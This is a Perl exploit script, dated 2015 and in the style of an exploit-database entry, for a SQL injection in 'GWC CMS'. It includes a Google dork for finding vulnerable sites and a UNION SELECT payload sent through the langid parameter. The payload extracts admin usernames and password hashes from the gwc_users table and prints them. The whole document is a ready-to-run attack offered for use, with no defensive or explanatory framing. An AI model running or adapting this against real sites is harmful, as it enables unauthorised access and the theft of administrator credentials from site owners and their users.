# Exploit Title: GWC CMS SQL Injection Vulnerability
# Exploit Author: nopesled
# Google Dork: "inurl:?langid=1 inurl:topmenuid="
# Date: 08/07/2015
# Version: 1.0
# Tested on: Linux
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request::Common qw(GET);

print " == Exploit by nopesled == \n";
if (@ARGV < 1){
  die "Invalid amount of arguments\nExample: perl $0 http://site.com\n";
  }
$site = shift;  
$ua = LWP::UserAgent->new;
$payload = "$site/?langid=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,group_concat(0x3c62723e,userlogin,0x3a,userpasswd) from gwc_users--";
print "[+] Grabbing Admin login [+]\n";
$request = GET $payload;
$response = $ua->request($request);
if ($response->is_success){
  if ($response->content =~ /(.+[0-9a-f]{32})/){
    print "[+] Admin info obtained [+]\n\n$1\n";
    exit;
  }
  else {
    die "[+] Admin info not found [+]";
  }
}
else {
  die "[+] Request failed [+]";
   }
exit;

=pod

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=cut